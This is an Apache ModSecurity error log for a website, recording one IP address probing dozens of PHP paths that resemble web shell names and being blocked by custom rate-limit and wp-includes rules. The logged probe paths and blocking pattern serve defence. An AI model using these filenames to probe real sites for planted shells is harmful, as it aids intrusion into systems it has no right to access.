[Fri Apr 24 03:57:37.969487 2026] [:error] [pid 19200:tid 19216] [client 20.215.57.60:45718] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "aep5sTQ--M3-tsKAnhFRmQAAAMg"]
[Fri Apr 24 03:57:40.636460 2026] [:error] [pid 19102:tid 19173] [client 20.215.57.60:35621] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "aep5tADSgrbLEZbkqD6GnAAAAIk"]
[Fri Apr 24 03:57:42.097279 2026] [:error] [pid 19102:tid 19186] [client 20.215.57.60:45701] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "aep5tgDSgrbLEZbkqD6GnwAAAJY"]
[Fri Apr 24 03:57:43.871581 2026] [:error] [pid 19102:tid 19175] [client 20.215.57.60:45801] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "aep5twDSgrbLEZbkqD6GowAAAIs"]
[Fri Apr 24 03:57:45.806085 2026] [:error] [pid 19200:tid 19221] [client 20.215.57.60:23650] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vx.php"] [unique_id "aep5uTQ--M3-tsKAnhFRsQAAAM0"]
[Fri Apr 24 03:57:47.709469 2026] [:error] [pid 19100:tid 19134] [client 20.215.57.60:32601] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Fri Apr 24 03:57:48.331916 2026] [:error] [pid 19100:tid 19115] [client 20.215.57.60:32601] File does not exist: /usr/local/apache/htdocs/suspended-page/sbhu.php
[Fri Apr 24 03:57:48.640107 2026] [:error] [pid 19100:tid 19116] [client 20.215.57.60:32601] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Fri Apr 24 03:57:49.571180 2026] [:error] [pid 19100:tid 19119] [client 20.215.57.60:32601] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri Apr 24 03:57:49.869024 2026] [:error] [pid 19100:tid 19113] [client 20.215.57.60:32601] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Fri Apr 24 03:57:50.176651 2026] [:error] [pid 19100:tid 19132] [client 20.215.57.60:32601] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Fri Apr 24 03:57:50.479444 2026] [:error] [pid 19100:tid 19112] [client 20.215.57.60:32601] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri Apr 24 03:57:50.786962 2026] [:error] [pid 19100:tid 19130] [client 20.215.57.60:32601] File does not exist: /usr/local/apache/htdocs/suspended-page/222.php
[Fri Apr 24 03:57:51.081905 2026] [:error] [pid 19100:tid 19118] [client 20.215.57.60:32601] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aep5v7F_hzQs4CqbiffiJQAAAAg"]
[Fri Apr 24 03:57:52.832132 2026] [:error] [pid 19101:tid 19149] [client 20.215.57.60:59441] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aep5wGAHj9bEvrTgbO2hxQAAAEw"]
[Fri Apr 24 03:57:53.873628 2026] [:error] [pid 19102:tid 19183] [client 20.215.57.60:59451] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aep5wQDSgrbLEZbkqD6GuwAAAJM"]
[Fri Apr 24 03:57:55.146847 2026] [:error] [pid 19101:tid 19145] [client 20.215.57.60:31130] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aep5w2AHj9bEvrTgbO2hygAAAEg"]
[Fri Apr 24 03:57:57.924113 2026] [:error] [pid 19200:tid 19223] [client 20.215.57.60:40638] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aep5xTQ--M3-tsKAnhFR4AAAAM8"]
[Fri Apr 24 03:57:59.786083 2026] [:error] [pid 19200:tid 19217] [client 20.215.57.60:30195] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aep5xzQ--M3-tsKAnhFR6gAAAMk"]
[Fri Apr 24 03:58:01.528723 2026] [:error] [pid 19200:tid 19228] [client 20.215.57.60:5195] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aep5yTQ--M3-tsKAnhFR7wAAANQ"]
[Fri Apr 24 03:58:03.906634 2026] [:error] [pid 19100:tid 19111] [client 20.215.57.60:22619] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fff.php"] [unique_id "aep5y7F_hzQs4CqbiffiPgAAAAI"]
[Fri Apr 24 03:58:06.444809 2026] [:error] [pid 19100:tid 19120] [client 20.215.57.60:51790] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aep5zrF_hzQs4CqbiffiTwAAAAo"]
[Fri Apr 24 03:58:09.168331 2026] [:error] [pid 19102:tid 19164] [client 20.215.57.60:29601] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aep50QDSgrbLEZbkqD6G4QAAAIA"]
[Fri Apr 24 03:58:11.591465 2026] [:error] [pid 19101:tid 19143] [client 20.215.57.60:24587] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aep502AHj9bEvrTgbO2h3AAAAEY"]
[Fri Apr 24 03:58:13.514686 2026] [:error] [pid 19100:tid 19125] [client 20.215.57.60:19975] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aep51bF_hzQs4CqbiffiWQAAAA8"]
[Fri Apr 24 03:58:18.217878 2026] [:error] [pid 19100:tid 19118] [client 20.215.57.60:49452] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aep52rF_hzQs4CqbiffiagAAAAg"]
[Fri Apr 24 03:58:20.695677 2026] [:error] [pid 19102:tid 19164] [client 20.215.57.60:64661] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aep53ADSgrbLEZbkqD6G-gAAAIA"]
[Fri Apr 24 03:58:22.419680 2026] [:error] [pid 19200:tid 19215] [client 20.215.57.60:49450] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aep53jQ--M3-tsKAnhFSQAAAAMc"]
[Fri Apr 24 03:58:25.588182 2026] [:error] [pid 19101:tid 19142] [client 20.215.57.60:49417] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we.php"] [unique_id "aep54WAHj9bEvrTgbO2h-wAAAEU"]
[Fri Apr 24 03:58:26.863648 2026] [:error] [pid 19200:tid 19230] [client 20.215.57.60:51821] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aep54jQ--M3-tsKAnhFSTwAAANY"]
[Fri Apr 24 03:58:28.460107 2026] [:error] [pid 19200:tid 19225] [client 20.215.57.60:19996] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aep55DQ--M3-tsKAnhFSWgAAANE"]
[Fri Apr 24 03:58:29.567311 2026] [:error] [pid 19101:tid 19147] [client 20.215.57.60:40053] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aep55WAHj9bEvrTgbO2iDgAAAEo"]
[Fri Apr 24 03:58:30.941981 2026] [:error] [pid 19200:tid 19224] [client 20.215.57.60:21525] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/makeasmtp.php"] [unique_id "aep55jQ--M3-tsKAnhFSYAAAANA"]
[Fri Apr 24 03:58:35.379563 2026] [:error] [pid 19102:tid 19178] [client 20.215.57.60:20084] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aep56wDSgrbLEZbkqD6HDQAAAI4"]
[Fri Apr 24 03:58:36.895043 2026] [:error] [pid 19101:tid 19154] [client 20.215.57.60:56699] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aep57GAHj9bEvrTgbO2iJAAAAFE"]
[Fri Apr 24 03:58:40.187552 2026] [:error] [pid 19102:tid 19167] [client 20.215.57.60:24581] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aep58ADSgrbLEZbkqD6HHgAAAIM"]
[Fri Apr 24 03:58:41.713764 2026] [:error] [pid 19102:tid 19174] [client 20.215.57.60:21558] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin1.php"] [unique_id "aep58QDSgrbLEZbkqD6HJQAAAIo"]
[Fri Apr 24 03:58:42.712198 2026] [:error] [pid 19102:tid 19186] [client 20.215.57.60:58051] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aep58gDSgrbLEZbkqD6HLAAAAJY"]
[Fri Apr 24 03:58:46.178282 2026] [:error] [pid 19102:tid 19179] [client 20.215.57.60:34056] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aep59gDSgrbLEZbkqD6HOwAAAI8"]
[Fri Apr 24 03:58:48.438627 2026] [:error] [pid 19200:tid 19230] [client 20.215.57.60:58067] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aep5-DQ--M3-tsKAnhFSkwAAANY"]
[Fri Apr 24 03:58:49.748004 2026] [:error] [pid 19100:tid 19131] [client 20.215.57.60:18956] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aep5-bF_hzQs4CqbiffingAAABU"]
[Fri Apr 24 03:58:50.686514 2026] [:error] [pid 19100:tid 19134] [client 20.215.57.60:19577] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
[Fri Apr 24 03:58:51.774129 2026] [:error] [pid 19100:tid 19125] [client 20.215.57.60:19577] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Fri Apr 24 03:58:52.404671 2026] [:error] [pid 19100:tid 19127] [client 20.215.57.60:19577] File does not exist: /usr/local/apache/htdocs/suspended-page/fe5.php
[Fri Apr 24 03:58:53.163509 2026] [:error] [pid 19100:tid 19129] [client 20.215.57.60:19577] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Fri Apr 24 03:58:53.447015 2026] [:error] [pid 19100:tid 19128] [client 20.215.57.60:19577] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Fri Apr 24 03:58:53.781495 2026] [:error] [pid 19100:tid 19124] [client 20.215.57.60:19577] File does not exist: /usr/local/apache/htdocs/suspended-page/fi.php
[Fri Apr 24 03:58:54.065464 2026] [:error] [pid 19100:tid 19109] [client 20.215.57.60:19577] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Fri Apr 24 03:58:54.345065 2026] [:error] [pid 19100:tid 19116] [client 20.215.57.60:19577] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aep5_rF_hzQs4CqbiffisgAAAAc"]
[Fri Apr 24 03:58:55.072908 2026] [:error] [pid 19101:tid 19146] [client 20.215.57.60:20080] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aep5_2AHj9bEvrTgbO2iWAAAAEk"]
[Fri Apr 24 03:58:56.303407 2026] [:error] [pid 19102:tid 19167] [client 20.215.57.60:58056] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aep6AADSgrbLEZbkqD6HVQAAAIM"]
[Fri Apr 24 03:58:59.014483 2026] [:error] [pid 19200:tid 19231] [client 20.215.57.60:5808] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aep6AzQ--M3-tsKAnhFSywAAANc"]
[Fri Apr 24 03:59:00.356305 2026] [:error] [pid 19101:tid 19139] [client 20.215.57.60:40036] [client 20.215.57.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aep6BGAHj9bEvrTgbO2ibQAAAEI"]
[Fri Apr 24 03:59:02.135379 2026] [:error] [pid 19102:tid 19175] [client 20.215.57.60:21090] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aep6BgDSgrbLEZbkqD6HZQAAAIs"]
[Fri Apr 24 03:59:03.548185 2026] [:error] [pid 19102:tid 19183] [client 20.215.57.60:30708] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aep6BwDSgrbLEZbkqD6HbQAAAJM"]
[Fri Apr 24 03:59:05.074794 2026] [:error] [pid 19102:tid 19184] [client 20.215.57.60:64692] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aep6CQDSgrbLEZbkqD6HdgAAAJQ"]
[Fri Apr 24 03:59:07.352724 2026] [:error] [pid 19100:tid 19124] [client 20.215.57.60:58061] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aep6C7F_hzQs4CqbiffivwAAAA4"]
[Fri Apr 24 03:59:11.089154 2026] [:error] [pid 19100:tid 19130] [client 20.215.57.60:26701] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aep6D7F_hzQs4CqbiffiwgAAABQ"]
[Fri Apr 24 03:59:13.066083 2026] [:error] [pid 19102:tid 19181] [client 20.215.57.60:56688] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aep6EQDSgrbLEZbkqD6HpQAAAJE"]
[Fri Apr 24 03:59:15.838393 2026] [:error] [pid 19100:tid 19133] [client 20.215.57.60:56703] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aep6E7F_hzQs4CqbiffiyAAAABc"]
[Fri Apr 24 03:59:24.153445 2026] [:error] [pid 19200:tid 19220] [client 20.215.57.60:60031] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aep6HDQ--M3-tsKAnhFTRAAAAMw"]
[Fri Apr 24 03:59:29.377092 2026] [:error] [pid 19200:tid 19225] [client 20.215.57.60:30694] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aep6ITQ--M3-tsKAnhFTVwAAANE"]
[Fri Apr 24 03:59:32.364423 2026] [:error] [pid 19102:tid 19166] [client 20.215.57.60:23089] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aep6JADSgrbLEZbkqD6H3AAAAII"]
[Fri Apr 24 03:59:33.666460 2026] [:error] [pid 19100:tid 19123] [client 20.215.57.60:29105] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aep6JbF_hzQs4Cqbiffi6wAAAA0"]
[Fri Apr 24 03:59:38.069881 2026] [:error] [pid 19200:tid 19208] [client 20.215.57.60:29654] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aep6KjQ--M3-tsKAnhFTegAAAMA"]
